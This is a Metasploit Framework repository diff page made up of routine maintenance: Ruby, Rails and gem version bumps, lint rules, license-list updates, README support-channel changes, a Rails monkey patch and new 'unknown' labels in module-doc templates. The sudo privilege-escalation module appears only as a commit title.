automatic module_metadata_base.json update

Merge pull request #20376 from msutovsky-r7/exploit/sudo-chroot-privesc
Adds module for sudo chroot LPE (CVE-2025-32463)
2025-09-03 22:03:28 +00:00 · 2025-09-03 16:53:43 -05:00 · 2025-09-03 16:29:45 +01:00 · 2025-09-03 16:11:00 +01:00 · 2025-09-02 14:07:19 +00:00 · 2025-09-02 15:56:59 +02:00
4096 changed files with 161739 additions and 109645 deletions
@@ -38,7 +38,7 @@ jobs:
      fail-fast: true
      matrix:
        ruby:
-          - '3.0'
+          - '3.3'

    name: Ruby ${{ matrix.ruby }}
    steps:
@@ -198,7 +198,8 @@ jobs:

      - name: Setup Ruby
        env:
-          BUNDLE_FORCE_RUBY_PLATFORM: true
+          # Introduces flakiness when downloading zlib etc: https://github.com/sparklemotion/nokogiri/issues/3521
+          # BUNDLE_FORCE_RUBY_PLATFORM: true
          # Required for macos13 pg gem compilation
          PKG_CONFIG_PATH: "/usr/local/opt/libpq/lib/pkgconfig"
        # Pinned to avoid Windows compilation failure with nokogiri
@@ -23,6 +23,7 @@ require:
  - ./lib/rubocop/cop/lint/deprecated_gem_version.rb
  - ./lib/rubocop/cop/lint/module_enforce_notes.rb
  - ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
+  - ./lib/rubocop/cop/lint/detect_metadata_trailing_leading_whitespace.rb

 Layout/SpaceBeforeBrackets:
  Enabled: true
@@ -113,6 +114,12 @@ Style/DocumentDynamicEvalDefinition:
 Style/EndlessMethod:
  Enabled: true

+Style/FormatStringToken:
+  Enabled: true
+  Exclude:
+  # We aren't ready to enable this for modules yet
+    - 'modules/**/*'
+
 Style/HashExcept:
  Enabled: true

@@ -152,6 +159,11 @@ Style/RedundantAssignment:
    and return expression
  Enabled: false

+Style/RedundantParentheses:
+  Description: >-
+    Disabled as it sometimes improves the readability of code
+  Enabled: false
+
 Style/RedundantRegexpArgument:
  Enabled: true
  Exclude:
@@ -661,3 +673,6 @@ Style/UnpackFirst:
    Disabling to make it easier to copy/paste `unpack('h*')` expressions from code
    into a debugging REPL.
  Enabled: false
+
+Lint/DetectMetadataTrailingLeadingWhitespace:
+  Enabled: true
@@ -1 +1 @@
-3.2.8
+3.3.8
@@ -85,7 +85,7 @@ When reporting Metasploit issues:
 * **Don't** attempt to report issues on a closed PR.

 If you need some more guidance, talk to the main body of open source contributors over on our
-[Metasploit Slack] or [#metasploit on Freenode IRC].
+[GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions) or [Metasploit Slack]

 Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
 curve, so keep it up!
@@ -1,4 +1,4 @@
-FROM ruby:3.2.8-alpine3.21 AS builder
+FROM ruby:3.3.8-alpine3.21 AS builder
 LABEL maintainer="Rapid7"

 ARG BUNDLER_CONFIG_ARGS="set force_ruby_platform 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
@@ -54,7 +54,7 @@ RUN mkdir -p $TOOLS_HOME/bin && \
    cd go/src && \
    ./make.bash

-FROM ruby:3.2.8-alpine3.21
+FROM ruby:3.3.8-alpine3.21
 LABEL maintainer="Rapid7"
 ARG TARGETARCH

@@ -31,6 +31,8 @@ group :development do
 end

 group :development, :test do
+  # For ./tools/dev/update_gem_licenses.sh
+  gem 'license_finder', '5.11.1'
  # running documentation generation tasks and rspec tasks
  gem 'rake'
  # Define `rake spec`.  Must be in development AND test so that its available by default as a rake test when the
@@ -1,12 +1,12 @@
 PATH
  remote: .
  specs:
-    metasploit-framework (6.4.67)
+    metasploit-framework (6.4.86)
      aarch64
      abbrev
-      actionpack (~> 7.1.0)
-      activerecord (~> 7.1.0)
-      activesupport (~> 7.1.0)
+      actionpack (~> 7.2.0)
+      activerecord (~> 7.2.0)
+      activesupport (~> 7.2.0)
      aws-sdk-ec2
      aws-sdk-ec2instanceconnect
      aws-sdk-iam
@@ -20,7 +20,6 @@ PATH
      bootsnap
      bson
      chunky_png
-      concurrent-ruby (= 1.3.4)
      csv
      dnsruby
      drb
@@ -38,16 +37,17 @@ PATH
      getoptlong
      hrr_rb_ssh-ed25519
      http-cookie
-      irb (~> 1.7.4)
+      irb
      jsobfu
      json
+      lru_redux
      metasm
      metasploit-concern
      metasploit-credential
      metasploit-model
      metasploit-payloads (= 2.0.221)
      metasploit_data_models (>= 6.0.7)
-      metasploit_payloads-mettle (= 1.0.35)
+      metasploit_payloads-mettle (= 1.0.45)
      mqtt
      msgpack (~> 1.6.0)
      mutex_m
@@ -65,11 +65,13 @@ PATH
      openvas-omp
      ostruct
      packetfu
+      parallel
      patch_finder
      pcaprub
      pdf-reader
      pg
      puma
+      rack
      railties
      rasn1 (= 0.14.0)
      rb-readline
@@ -103,7 +105,9 @@ PATH
      sinatra
      sqlite3 (= 1.7.3)
      sshkey
+      stringio (= 3.1.1)
      swagger-blocks
+      syslog
      thin
      tzinfo
      tzinfo-data
@@ -123,41 +127,41 @@ GEM
    aarch64 (2.1.0)
      racc (~> 1.6)
    abbrev (0.1.2)
-    actionpack (7.1.5.1)
-      actionview (= 7.1.5.1)
-      activesupport (= 7.1.5.1)
+    actionpack (7.2.2.1)
+      actionview (= 7.2.2.1)
+      activesupport (= 7.2.2.1)
      nokogiri (>= 1.8.5)
      racc
-      rack (>= 2.2.4)
+      rack (>= 2.2.4, < 3.2)
      rack-session (>= 1.0.1)
      rack-test (>= 0.6.3)
      rails-dom-testing (~> 2.2)
      rails-html-sanitizer (~> 1.6)
-    actionview (7.1.5.1)
-      activesupport (= 7.1.5.1)
+      useragent (~> 0.16)
+    actionview (7.2.2.1)
+      activesupport (= 7.2.2.1)
      builder (~> 3.1)
      erubi (~> 1.11)
      rails-dom-testing (~> 2.2)
      rails-html-sanitizer (~> 1.6)
-    activemodel (7.1.5.1)
-      activesupport (= 7.1.5.1)
-    activerecord (7.1.5.1)
-      activemodel (= 7.1.5.1)
-      activesupport (= 7.1.5.1)
+    activemodel (7.2.2.1)
+      activesupport (= 7.2.2.1)
+    activerecord (7.2.2.1)
+      activemodel (= 7.2.2.1)
+      activesupport (= 7.2.2.1)
      timeout (>= 0.4.0)
-    activesupport (7.1.5.1)
+    activesupport (7.2.2.1)
      base64
      benchmark (>= 0.3)
      bigdecimal
-      concurrent-ruby (~> 1.0, >= 1.0.2)
+      concurrent-ruby (~> 1.0, >= 1.3.1)
      connection_pool (>= 2.2.5)
      drb
      i18n (>= 1.6, < 2)
      logger (>= 1.4.2)
      minitest (>= 5.1)
-      mutex_m
      securerandom (>= 0.3)
-      tzinfo (~> 2.0)
+      tzinfo (~> 2.0, >= 2.0.5)
    addressable (2.8.7)
      public_suffix (>= 2.0.2, < 7.0)
    afm (0.2.2)
@@ -203,8 +207,8 @@ GEM
    base64 (0.2.0)
    bcrypt (3.1.20)
    bcrypt_pbkdf (1.1.1)
-    benchmark (0.4.0)
-    bigdecimal (3.1.9)
+    benchmark (0.4.1)
+    bigdecimal (3.2.2)
    bindata (2.4.15)
    bootsnap (1.18.4)
      msgpack (~> 1.2)
@@ -213,24 +217,24 @@ GEM
    byebug (11.1.3)
    chunky_png (1.4.0)
    coderay (1.1.3)
-    concurrent-ruby (1.3.4)
-    connection_pool (2.5.0)
+    concurrent-ruby (1.3.5)
+    connection_pool (2.5.3)
    cookiejar (0.3.4)
    crass (1.0.6)
    csv (3.3.2)
    daemons (1.4.1)
    date (3.4.1)
-    debug (1.8.0)
-      irb (>= 1.5.0)
-      reline (>= 0.3.1)
-    diff-lcs (1.6.0)
+    debug (1.10.0)
+      irb (~> 1.10)
+      reline (>= 0.3.8)
+    diff-lcs (1.6.2)
    dnsruby (1.72.4)
      base64 (~> 0.2.0)
      logger (~> 1.6.5)
      simpleidn (~> 0.2.1)
    docile (1.4.1)
    domain_name (0.6.20240107)
-    drb (2.2.1)
+    drb (2.2.3)
    ed25519 (1.3.0)
    elftools (1.3.1)
      bindata (~> 2)
@@ -243,13 +247,14 @@ GEM
    em-socksify (0.3.3)
      base64
      eventmachine (>= 1.0.0.beta.4)
+    erb (5.0.2)
    erubi (1.13.1)
    eventmachine (1.2.7)
-    factory_bot (6.5.1)
+    factory_bot (6.5.4)
      activesupport (>= 6.1.0)
-    factory_bot_rails (6.4.4)
+    factory_bot_rails (6.5.0)
      factory_bot (~> 6.5)
-      railties (>= 5.0.0)
+      railties (>= 6.1.0)
    faker (3.5.1)
      i18n (>= 1.8.11, < 2)
    faraday (2.7.11)
@@ -285,29 +290,41 @@ GEM
      mutex_m
    i18n (1.14.7)
      concurrent-ruby (~> 1.0)
-    io-console (0.8.0)
+    io-console (0.8.1)
    ipaddr (1.2.7)
-    irb (1.7.4)
-      reline (>= 0.3.6)
+    irb (1.15.2)
+      pp (>= 0.6.0)
+      rdoc (>= 4.0.0)
+      reline (>= 0.4.2)
    jmespath (1.6.2)
    jsobfu (0.4.2)
      rkelly-remix
    json (2.10.2)
    language_server-protocol (3.17.0.5)
+    license_finder (5.11.1)
+      bundler
+      rubyzip (>= 1, < 3)
+      thor
+      toml (= 0.2.0)
+      with_env (= 1.1.0)
+      xml-simple
    lint_roller (1.1.0)
    little-plugger (1.1.4)
    logger (1.6.6)
    logging (2.4.0)
      little-plugger (~> 1.1)
      multi_json (~> 1.14)
-    loofah (2.24.0)
+    loofah (2.24.1)
      crass (~> 1.0.2)
      nokogiri (>= 1.12.0)
+    lru_redux (1.1.0)
    memory_profiler (1.1.0)
    metasm (1.0.5)
-    metasploit-concern (5.0.4)
+    metasploit-concern (5.0.5)
      activemodel (~> 7.0)
      activesupport (~> 7.0)
+      drb
+      mutex_m
      railties (~> 7.0)
      zeitwerk
    metasploit-credential (6.0.16)
@@ -324,9 +341,12 @@ GEM
      rex-socket
      rubyntlm
      rubyzip
-    metasploit-model (5.0.3)
+    metasploit-model (5.0.4)
      activemodel (~> 7.0)
      activesupport (~> 7.0)
+      bigdecimal
+      drb
+      mutex_m
      railties (~> 7.0)
    metasploit-payloads (2.0.221)
    metasploit_data_models (6.0.9)
@@ -339,13 +359,13 @@ GEM
      railties (~> 7.0)
      recog
      webrick
-    metasploit_payloads-mettle (1.0.35)
+    metasploit_payloads-mettle (1.0.45)
    method_source (1.1.0)
    mime-types (3.6.0)
      logger
      mime-types-data (~> 3.2015)
    mime-types-data (3.2025.0304)
-    mini_portile2 (2.8.8)
+    mini_portile2 (2.8.9)
    minitest (5.25.5)
    mqtt (0.6.0)
    msgpack (1.6.1)
@@ -368,7 +388,7 @@ GEM
    network_interface (0.0.4)
    nexpose (7.3.0)
    nio4r (2.7.4)
-    nokogiri (1.18.3)
+    nokogiri (1.18.9)
      mini_portile2 (~> 2.8.2)
      racc (~> 1.4)
    nori (2.7.1)
@@ -386,6 +406,7 @@ GEM
    parser (3.3.8.0)
      ast (~> 2.4.1)
      racc
+    parslet (1.8.2)
    patch_finder (1.0.2)
    pcaprub (0.13.3)
    pdf-reader (2.14.1)
@@ -395,6 +416,9 @@ GEM
      ruby-rc4
      ttfunk
    pg (1.5.9)
+    pp (0.6.2)
+      prettyprint
+    prettyprint (0.2.0)
    prism (1.4.0)
    pry (0.14.2)
      coderay (~> 1.1)
@@ -402,11 +426,14 @@ GEM
    pry-byebug (3.10.1)
      byebug (~> 11.0)
      pry (>= 0.13, < 0.15)
+    psych (5.2.6)
+      date
+      stringio
    public_suffix (6.0.1)
    puma (6.6.0)
      nio4r (~> 2.0)
    racc (1.8.1)
-    rack (2.2.13)
+    rack (2.2.17)
    rack-protection (3.2.0)
      base64 (>= 0.1.0)
      rack (~> 2.2, >= 2.2.4)
@@ -417,31 +444,34 @@ GEM
    rackup (1.0.1)
      rack (< 3)
      webrick
-    rails-dom-testing (2.2.0)
+    rails-dom-testing (2.3.0)
      activesupport (>= 5.0.0)
      minitest
      nokogiri (>= 1.6)
    rails-html-sanitizer (1.6.2)
      loofah (~> 2.21)
      nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0)
-    railties (7.1.5.1)
-      actionpack (= 7.1.5.1)
-      activesupport (= 7.1.5.1)
-      irb
+    railties (7.2.2.1)
+      actionpack (= 7.2.2.1)
+      activesupport (= 7.2.2.1)
+      irb (~> 1.13)
      rackup (>= 1.0.0)
      rake (>= 12.2)
      thor (~> 1.0, >= 1.2.2)
      zeitwerk (~> 2.6)
    rainbow (3.1.1)
-    rake (13.2.1)
+    rake (13.3.0)
    rasn1 (0.14.0)
      strptime (~> 0.2.5)
    rb-readline (0.5.5)
+    rdoc (6.14.2)
+      erb
+      psych (>= 4.0.0)
    recog (3.1.14)
      nokogiri
    redcarpet (3.6.1)
    regexp_parser (2.10.0)
-    reline (0.6.0)
+    reline (0.6.2)
      io-console (~> 0.5)
    require_all (3.0.0)
    rex-arch (0.1.18)
@@ -471,11 +501,13 @@ GEM
      rex-arch
    rex-ole (0.1.9)
      rex-text
-    rex-powershell (0.1.101)
+    rex-powershell (0.1.103)
+      bigdecimal
      rex-random_identifier
      rex-text
      ruby-rc4
-    rex-random_identifier (0.1.15)
+    rex-random_identifier (0.1.20)
+      bigdecimal
      rex-text
    rex-registry (0.1.6)
    rex-rop_builder (0.1.6)
@@ -504,25 +536,25 @@ GEM
      rspec-core (~> 3.13.0)
      rspec-expectations (~> 3.13.0)
      rspec-mocks (~> 3.13.0)
-    rspec-core (3.13.3)
+    rspec-core (3.13.5)
      rspec-support (~> 3.13.0)
-    rspec-expectations (3.13.3)
+    rspec-expectations (3.13.5)
      diff-lcs (>= 1.2.0, < 2.0)
      rspec-support (~> 3.13.0)
-    rspec-mocks (3.13.2)
+    rspec-mocks (3.13.5)
      diff-lcs (>= 1.2.0, < 2.0)
      rspec-support (~> 3.13.0)
-    rspec-rails (7.1.1)
-      actionpack (>= 7.0)
-      activesupport (>= 7.0)
-      railties (>= 7.0)
+    rspec-rails (8.0.1)
+      actionpack (>= 7.2)
+      activesupport (>= 7.2)
+      railties (>= 7.2)
      rspec-core (~> 3.13)
      rspec-expectations (~> 3.13)
      rspec-mocks (~> 3.13)
      rspec-support (~> 3.13)
    rspec-rerun (1.1.0)
      rspec (~> 3.0)
-    rspec-support (3.13.2)
+    rspec-support (3.13.4)
    rubocop (1.75.7)
      json (~> 2.3)
      language_server-protocol (~> 3.17.0.2)
@@ -539,7 +571,8 @@ GEM
      prism (~> 1.4)
    ruby-macho (4.1.0)
    ruby-mysql (4.2.0)
-    ruby-prof (1.7.1)
+    ruby-prof (1.7.2)
+      base64
    ruby-progressbar (1.13.0)
    ruby-rc4 (0.1.5)
    ruby2_keywords (0.0.5)
@@ -569,17 +602,22 @@ GEM
    sqlite3 (1.7.3)
      mini_portile2 (~> 2.8.0)
    sshkey (3.0.0)
+    stringio (3.1.1)
    strptime (0.2.5)
    swagger-blocks (3.0.0)
+    syslog (0.3.0)
+      logger
    test-prof (1.4.4)
    thin (1.8.2)
      daemons (~> 1.0, >= 1.0.9)
      eventmachine (~> 1.0, >= 1.0.4)
      rack (>= 1, < 3)
-    thor (1.3.2)
+    thor (1.4.0)
    tilt (2.6.0)
    timecop (0.9.10)
    timeout (0.4.3)
+    toml (0.2.0)
+      parslet (~> 1.8.0)
    ttfunk (1.8.0)
      bigdecimal (~> 3.1)
    tzinfo (2.0.6)
@@ -590,6 +628,7 @@ GEM
      unicode-emoji (~> 4.0, >= 4.0.4)
    unicode-emoji (4.0.4)
    unix-crypt (1.3.1)
+    useragent (0.16.11)
    warden (1.2.9)
      rack (>= 2.0.9)
    webrick (1.9.1)
@@ -609,13 +648,16 @@ GEM
      nori (~> 2.0, >= 2.7.1)
      rexml (~> 3.0)
      rubyntlm (~> 0.6.0, >= 0.6.3)
+    with_env (1.1.0)
    xdr (3.0.3)
      activemodel (>= 4.2, < 8.0)
      activesupport (>= 4.2, < 8.0)
+    xml-simple (1.1.9)
+      rexml
    xmlrpc (0.3.3)
      webrick
    yard (0.9.37)
-    zeitwerk (2.7.2)
+    zeitwerk (2.7.3)

 PLATFORMS
  ruby
@@ -625,6 +667,7 @@ DEPENDENCIES
  debug (>= 1.0.0)
  factory_bot_rails
  fivemat
+  license_finder (= 5.11.1)
  memory_profiler
  metasploit-framework!
  octokit
@@ -641,4 +684,4 @@ DEPENDENCIES
  yard

 BUNDLED WITH
-   2.5.10
+   2.5.22
@@ -2,11 +2,11 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh
 Ascii85, 2.0.1, MIT
 aarch64, 2.1.0, "Apache 2.0"
 abbrev, 0.1.2, "ruby, Simplified BSD"
-actionpack, 7.1.5.1, MIT
-actionview, 7.1.5.1, MIT
-activemodel, 7.1.5.1, MIT
-activerecord, 7.1.5.1, MIT
-activesupport, 7.1.5.1, MIT
+actionpack, 7.2.2.1, MIT
+actionview, 7.2.2.1, MIT
+activemodel, 7.2.2.1, MIT
+activerecord, 7.2.2.1, MIT
+activesupport, 7.2.2.1, MIT
 addressable, 2.8.7, "Apache 2.0"
 afm, 0.2.2, MIT
 allure-rspec, 2.26.0, "Apache 2.0"
@@ -26,37 +26,38 @@ aws-sigv4, 1.11.0, "Apache 2.0"
 base64, 0.2.0, "ruby, Simplified BSD"
 bcrypt, 3.1.20, MIT
 bcrypt_pbkdf, 1.1.1, MIT
-benchmark, 0.4.0, "ruby, Simplified BSD"
-bigdecimal, 3.1.9, "ruby, Simplified BSD"
+benchmark, 0.4.1, "ruby, Simplified BSD"
+bigdecimal, 3.2.2, "ruby, Simplified BSD"
 bindata, 2.4.15, "Simplified BSD"
 bootsnap, 1.18.4, MIT
 bson, 5.0.2, "Apache 2.0"
 builder, 3.3.0, MIT
-bundler, 2.5.10, MIT
+bundler, 2.5.22, MIT
 byebug, 11.1.3, "Simplified BSD"
 chunky_png, 1.4.0, MIT
 coderay, 1.1.3, MIT
-concurrent-ruby, 1.3.4, MIT
-connection_pool, 2.5.0, MIT
+concurrent-ruby, 1.3.5, MIT
+connection_pool, 2.5.3, MIT
 cookiejar, 0.3.4, "Simplified BSD"
 crass, 1.0.6, MIT
 csv, 3.3.2, "ruby, Simplified BSD"
 daemons, 1.4.1, MIT
 date, 3.4.1, "ruby, Simplified BSD"
-debug, 1.8.0, "ruby, Simplified BSD"
-diff-lcs, 1.6.0, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
+debug, 1.10.0, "ruby, Simplified BSD"
+diff-lcs, 1.6.2, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
 dnsruby, 1.72.4, "Apache 2.0"
 docile, 1.4.1, MIT
 domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
-drb, 2.2.1, "ruby, Simplified BSD"
+drb, 2.2.3, "ruby, Simplified BSD"
 ed25519, 1.3.0, MIT
 elftools, 1.3.1, MIT
 em-http-request, 1.1.7, MIT
 em-socksify, 0.3.3, MIT
+erb, 5.0.2, "ruby, Simplified BSD"
 erubi, 1.13.1, MIT
 eventmachine, 1.2.7, "ruby, GPL-2.0"
-factory_bot, 6.5.1, MIT
-factory_bot_rails, 6.4.4, MIT
+factory_bot, 6.5.4, MIT
+factory_bot_rails, 6.5.0, MIT
 faker, 3.5.1, MIT
 faraday, 2.7.11, MIT
 faraday-net_http, 3.0.2, MIT
@@ -77,31 +78,33 @@ http-cookie, 1.0.8, MIT
 http_parser.rb, 0.8.0, MIT
 httpclient, 2.9.0, ruby
 i18n, 1.14.7, MIT
-io-console, 0.8.0, "ruby, Simplified BSD"
+io-console, 0.8.1, "ruby, Simplified BSD"
 ipaddr, 1.2.7, "ruby, Simplified BSD"
-irb, 1.7.4, "ruby, Simplified BSD"
+irb, 1.15.2, "ruby, Simplified BSD"
 jmespath, 1.6.2, "Apache 2.0"
 jsobfu, 0.4.2, "New BSD"
 json, 2.10.2, ruby
 language_server-protocol, 3.17.0.5, MIT
+license_finder, 5.11.1, MIT
 lint_roller, 1.1.0, MIT
 little-plugger, 1.1.4, MIT
 logger, 1.6.6, "ruby, Simplified BSD"
 logging, 2.4.0, MIT
-loofah, 2.24.0, MIT
+loofah, 2.24.1, MIT
+lru_redux, 1.1.0, MIT
 memory_profiler, 1.1.0, MIT
 metasm, 1.0.5, LGPL-2.1
-metasploit-concern, 5.0.4, "New BSD"
+metasploit-concern, 5.0.5, "New BSD"
 metasploit-credential, 6.0.16, "New BSD"
-metasploit-framework, 6.4.67, "New BSD"
-metasploit-model, 5.0.3, "New BSD"
+metasploit-framework, 6.4.86, "New BSD"
+metasploit-model, 5.0.4, "New BSD"
 metasploit-payloads, 2.0.221, "3-clause (or ""modified"") BSD"
 metasploit_data_models, 6.0.9, "New BSD"
-metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
+metasploit_payloads-mettle, 1.0.45, "3-clause (or ""modified"") BSD"
 method_source, 1.1.0, MIT
 mime-types, 3.6.0, MIT
 mime-types-data, 3.2025.0304, MIT
-mini_portile2, 2.8.8, MIT
+mini_portile2, 2.8.9, MIT
 minitest, 5.25.5, MIT
 mqtt, 0.6.0, MIT
 msgpack, 1.6.1, "Apache 2.0"
@@ -118,7 +121,7 @@ net-ssh, 7.3.0, MIT
 network_interface, 0.0.4, MIT
 nexpose, 7.3.0, "New BSD"
 nio4r, 2.7.4, "MIT, Simplified BSD"
-nokogiri, 1.18.3, MIT
+nokogiri, 1.18.9, MIT
 nori, 2.7.1, MIT
 octokit, 4.25.1, MIT
 openssl-ccm, 1.2.3, MIT
@@ -128,32 +131,37 @@ ostruct, 0.6.1, "ruby, Simplified BSD"
 packetfu, 2.0.0, "New BSD"
 parallel, 1.27.0, MIT
 parser, 3.3.8.0, MIT
+parslet, 1.8.2, MIT
 patch_finder, 1.0.2, "New BSD"
 pcaprub, 0.13.3, LGPL-2.1
 pdf-reader, 2.14.1, MIT
 pg, 1.5.9, "Simplified BSD"
+pp, 0.6.2, "ruby, Simplified BSD"
+prettyprint, 0.2.0, "ruby, Simplified BSD"
 prism, 1.4.0, MIT
 pry, 0.14.2, MIT
 pry-byebug, 3.10.1, MIT
+psych, 5.2.6, MIT
 public_suffix, 6.0.1, MIT
 puma, 6.6.0, "New BSD"
 racc, 1.8.1, "ruby, Simplified BSD"
-rack, 2.2.13, MIT
+rack, 2.2.17, MIT
 rack-protection, 3.2.0, MIT
 rack-session, 1.0.2, MIT
 rack-test, 2.2.0, MIT
 rackup, 1.0.1, MIT
-rails-dom-testing, 2.2.0, MIT
+rails-dom-testing, 2.3.0, MIT
 rails-html-sanitizer, 1.6.2, MIT
-railties, 7.1.5.1, MIT
+railties, 7.2.2.1, MIT
 rainbow, 3.1.1, MIT
-rake, 13.2.1, MIT
+rake, 13.3.0, MIT
 rasn1, 0.14.0, MIT
 rb-readline, 0.5.5, BSD
+rdoc, 6.14.2, ruby
 recog, 3.1.14, unknown
 redcarpet, 3.6.1, MIT
 regexp_parser, 2.10.0, MIT
-reline, 0.6.0, ruby
+reline, 0.6.2, ruby
 require_all, 3.0.0, MIT
 rex-arch, 0.1.18, "New BSD"
 rex-bin_tools, 0.1.10, "New BSD"
@@ -164,8 +172,8 @@ rex-java, 0.1.8, "New BSD"
 rex-mime, 0.1.11, "New BSD"
 rex-nop, 0.1.4, "New BSD"
 rex-ole, 0.1.9, "New BSD"
-rex-powershell, 0.1.101, "New BSD"
-rex-random_identifier, 0.1.15, "New BSD"
+rex-powershell, 0.1.103, "New BSD"
+rex-random_identifier, 0.1.20, "New BSD"
 rex-registry, 0.1.6, "New BSD"
 rex-rop_builder, 0.1.6, "New BSD"
 rex-socket, 0.1.62, "New BSD"
@@ -177,17 +185,17 @@ rexml, 3.4.1, "Simplified BSD"
 rinda, 0.2.0, "ruby, Simplified BSD"
 rkelly-remix, 0.0.7, MIT
 rspec, 3.13.0, MIT
-rspec-core, 3.13.3, MIT
-rspec-expectations, 3.13.3, MIT
-rspec-mocks, 3.13.2, MIT
-rspec-rails, 7.1.1, MIT
+rspec-core, 3.13.5, MIT
+rspec-expectations, 3.13.5, MIT
+rspec-mocks, 3.13.5, MIT
+rspec-rails, 8.0.1, MIT
 rspec-rerun, 1.1.0, MIT
-rspec-support, 3.13.2, MIT
+rspec-support, 3.13.4, MIT
 rubocop, 1.75.7, MIT
 rubocop-ast, 1.44.1, MIT
 ruby-macho, 4.1.0, MIT
 ruby-mysql, 4.2.0, MIT
-ruby-prof, 1.7.1, "Simplified BSD"
+ruby-prof, 1.7.2, "Simplified BSD"
 ruby-progressbar, 1.13.0, MIT
 ruby-rc4, 0.1.5, MIT
 ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
@@ -202,20 +210,24 @@ simpleidn, 0.2.3, MIT
 sinatra, 3.2.0, MIT
 sqlite3, 1.7.3, "New BSD"
 sshkey, 3.0.0, MIT
+stringio, 3.1.1, "ruby, Simplified BSD"
 strptime, 0.2.5, "Simplified BSD"
 swagger-blocks, 3.0.0, MIT
+syslog, 0.3.0, "ruby, Simplified BSD"
 test-prof, 1.4.4, MIT
 thin, 1.8.2, "GPL-2.0+, ruby"
-thor, 1.3.2, MIT
+thor, 1.4.0, MIT
 tilt, 2.6.0, MIT
 timecop, 0.9.10, MIT
 timeout, 0.4.3, "ruby, Simplified BSD"
+toml, 0.2.0, MIT
 ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
 tzinfo, 2.0.6, MIT
 tzinfo-data, 1.2025.1, MIT
 unicode-display_width, 3.1.4, MIT
 unicode-emoji, 4.0.4, MIT
 unix-crypt, 1.3.1, 0BSD
+useragent, 0.16.11, MIT
 warden, 1.2.9, MIT
 webrick, 1.9.1, "ruby, Simplified BSD"
 websocket-driver, 0.7.7, "Apache 2.0"
@@ -223,7 +235,9 @@ websocket-extensions, 0.1.5, "Apache 2.0"
 win32api, 0.1.0, unknown
 windows_error, 0.1.5, BSD
 winrm, 2.3.9, "Apache 2.0"
+with_env, 1.1.0, MIT
 xdr, 3.0.3, "Apache 2.0"
+xml-simple, 1.1.9, MIT
 xmlrpc, 0.3.3, "ruby, Simplified BSD"
 yard, 0.9.37, MIT
-zeitwerk, 2.7.2, MIT
+zeitwerk, 2.7.3, MIT
@@ -18,7 +18,14 @@ Submit bugs and feature requests via the [GitHub Issues](https://github.com/rapi
 For information on writing modules, refer to the [API Documentation](https://docs.metasploit.com/api/).

 ## Support and Communication
-For questions and suggestions, join the Freenode IRC channel or contact the metasploit-hackers mailing list.
+For questions and suggestions, you can:
+
+- Join our [GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions) for community support and general questions
+- Join the [Metasploit Slack](https://join.slack.com/t/metasploit/shared_invite/zt-30i688it0-mJsFGT44IMtdeZi1DraamQ) for real-time chat
+- Submit [GitHub Issues](https://github.com/rapid7/metasploit-framework/issues) for bug reports and feature requests
+- Follow [@metasploit](https://x.com/metasploit) on X or [@metasploit@infosec.exchange](https://infosec.exchange/@metasploit) on Mastodon for updates
+
+**Note:** Some community members may still use IRC channels and the metasploit-hackers mailing list, though the primary support channels are now GitHub Discussions and Slack.

 ## Installing Metasploit

@@ -4,6 +4,26 @@ Fiddle.const_set(:VERSION, '0.0.0') unless Fiddle.const_defined?(:VERSION)
 require 'rails'
 require File.expand_path('../boot', __FILE__)

+require 'action_view'
+# Monkey patch https://github.com/rails/rails/blob/v7.2.2.1/actionview/lib/action_view/helpers/tag_helper.rb#L51
+# Might be fixed by 8.x https://github.com/rails/rails/blob/v8.0.2/actionview/lib/action_view/helpers/tag_helper.rb#L51C1-L52C1
+raise unless ActionView::VERSION::STRING == '7.2.2.1' # A developer will need to ensure this is still required when bumping rails
+module ActionView::Helpers::TagHelper
+  class TagBuilder
+    def self.define_element(name, code_generator:, method_name: name.to_s.underscore)
+      code_generator.define_cached_method(method_name, namespace: :tag_builder) do |batch|
+        # Fixing a bug introduced by Metasploit's global Kernel patch: https://github.com/rapid7/metasploit-framework/blob/ae1db09f32cd04c007dbf445cf16dc22c9fc2e53/lib/rex.rb#L74-L79
+        # which fails when using the below 'instance_methods.include?(method_name.to_sym)' check
+        batch.push(<<~RUBY) # unless instance_methods.include?(method_name.to_sym)
+              def #{method_name}(content = nil, escape: true, **options, &block)
+                tag_string("#{name}", content, options, escape: escape, &block)
+              end
+            RUBY
+      end
+    end
+  end
+end
+
 all_environments = [
    :development,
    :production,
@@ -41,7 +61,7 @@ module Metasploit
      config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
      config.autoloader = :zeitwerk

-      config.load_defaults 7.1
+      config.load_defaults 7.2

      config.eager_load = false
    end
@@ -67,6 +67,8 @@
 <% description = "Module may cause a noise (Examples: audio output from the speakers or hardware beeps)." %>
 <% elsif side_effect == "physical-effects" %>
 <% description = "Module may produce physical effects (Examples: the device makes movement or flashes LEDs)." %>
+<% elsif side_effect == "unknown-side-effects" %>
+<% description = "Module side effects are unknown." %>
 <% end %>

 * **<%= side_effect %>:** <%= description %>
@@ -85,6 +87,8 @@
 <% description = "The module isn't expected to get a shell reliably (such as only once)." %>
 <% elsif reliability == "event-dependent" %>
 <% description = "The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc." %>
+<% elsif reliability == "unknown-reliability" %>
+<% description = "Module reliability is unknown." %>
 <% end %>

 * **<%= reliability %>:** <%= description %>
@@ -109,6 +113,8 @@
 <% description = "Module may cause a resource (such as a file or data in a database) to be unavailable for the service." %>
 <% elsif stability == "os-resource-loss" %>
 <% description = "Modules may cause a resource (such as a file) to be unavailable for the OS." %>
+<% elsif stability == "unknown-stability" %>
+<% description = "Module stability is unknown." %>
 <% end %>

 * **<%= stability %>:** <%= description %>
@@ -0,0 +1,35 @@
+BITS 64
+ehdr:                            ; Elf32_Ehdr
